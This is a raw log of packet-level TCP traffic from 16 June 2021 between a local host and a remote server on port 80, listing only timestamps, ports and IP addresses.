Jun 16, 2021 12:05:53.490222931 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.490246058 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.490246058 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.490272999 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.490326881 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.490995884 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.491024971 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.491045952 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.491067886 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.491091013 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.491106033 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.491111994 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.491178989 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.491204023 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.491904020 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.491933107 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.491960049 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.491978884 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.491985083 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.492007971 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.492028952 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.492032051 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.492057085 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.492077112 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.492822886 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.492863894 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.492887020 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.492888927 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.492914915 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.492937088 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.492957115 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.492969990 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.492984056 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.493027925 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.493719101 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.493747950 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.493773937 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.493792057 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.493797064 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.493820906 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.493843079 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.493845940 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.493870020 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.493884087 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.494623899 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.494657040 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.494678974 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.494703054 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.494709015 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.494725943 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.494750023 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.494751930 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.494870901 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.521476030 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.521508932 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.521536112 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.521559000 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.521595001 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.521599054 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.521625042 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.521641016 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.521650076 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.521675110 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.521697998 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.521703005 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.521720886 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.521747112 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.522473097 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.522501945 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.522526026 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.522548914 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.522551060 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.522578001 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.522594929 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.522602081 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.522629023 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.522686005 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.523380995 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.523411989 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.523433924 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.523456097 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.523483038 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.523493052 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.523505926 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.523525000 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.523552895 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.623727083 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.623755932 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.623771906 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.623790026 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.623806000 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.623827934 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.623845100 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.623861074 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.623878956 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.623924971 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.623969078 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.623980999 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.624075890 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.624094009 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.624114990 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.624133110 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.624149084 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.624150991 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.624167919 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.624187946 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.624198914 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.624203920 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.624232054 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.624238968 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.624279976 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.625055075 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.625076056 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.625092983 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.625108957 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.625124931 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.625138998 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.625140905 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.625152111 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.625158072 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.625183105 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.625742912 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.625762939 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.625780106 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.625797987 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.625814915 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.625814915 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.625832081 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.625847101 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.625849962 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.625869989 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.625888109 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.625897884 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.625931025 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.626722097 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.626744032 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.626760006 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.626782894 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.626800060 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.626816034 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.626821041 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.626832962 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.626844883 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.626851082 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.626868010 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.626893044 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.627692938 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.627715111 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.627732038 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.627748966 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.627764940 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.627783060 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.627798080 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.627799988 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.627820969 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.627823114 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.627840042 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.627883911 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.628670931 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.628690958 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.628705978 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.628722906 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.628739119 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.628753901 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.628756046 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.628774881 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.628776073 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.628792048 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.628810883 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.628822088 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.629612923 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.629631996 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.629653931 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.629710913 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.629715919 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.629726887 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.629735947 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.629744053 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.629765034 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.629781961 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.629797935 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.629798889 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.631769896 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.667772055 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.667794943 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.667855024 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.968769073 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.968822002 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:54.513772964 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:54.513897896 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:55.609900951 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:55.610027075 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:55.974297047 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:55.977900982 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.016541958 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.016571999 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.016585112 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.016597033 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.016608953 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.016619921 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.016632080 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.016644955 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.016660929 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.016870975 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.016889095 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.016906023 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.016922951 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.016927004 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.016938925 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.016957998 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.016957998 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.016974926 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.016974926 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.016997099 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.017014980 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.017033100 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.017823935 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.017841101 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.018009901 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.018030882 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.018045902 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.018048048 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.018069029 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.018088102 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.018088102 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.018106937 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.018122911 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.018138885 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.018140078 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.018157959 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.018997908 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.019022942 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.019033909 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.019043922 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.019062996 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.019079924 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.019095898 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.019112110 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.019125938 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.019144058 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.019149065 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.019166946 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.019182920 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.019993067 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.020015955 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.020031929 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.020049095 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.020068884 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.020087004 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.020102978 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.020113945 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.020118952 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.020136118 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.020136118 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.020915031 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.020937920 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.020953894 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.020970106 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.020978928 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.020987988 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.020989895 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.021008968 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.021024942 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.021040916 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.021043062 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.021058083 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.021982908 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.022012949 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.022022963 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.022032976 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.022056103 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.022078037 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.022099018 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.022099972 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.022119999 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.022123098 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.022142887 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.022162914 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.022186041 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.022888899 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.022921085 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.022943020 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.022964954 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.022985935 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.023006916 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.023014069 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.023029089 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.023050070 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.023071051 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.023091078 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.023859978 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.023886919 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.023910999 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.023933887 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.023952961 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.023973942 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.023994923 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.023999929 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.024014950 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.024014950 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.024039030 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.024800062 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.024826050 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.024832010 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.024848938 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.024871111 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.024892092 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.024913073 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.024915934 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.024936914 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.024939060 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.024960041 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.024981022 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.025002003 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.025806904 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.025832891 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.025852919 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.025877953 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.025899887 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.025902987 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.025928974 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.025949955 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.025970936 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.025971889 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.025990963 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.026783943 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.026814938 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.026817083 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.026838064 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.026859999 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.026880980 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.026901960 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.026902914 CEST	49169	80	192.168.2.22	172.67.158.27
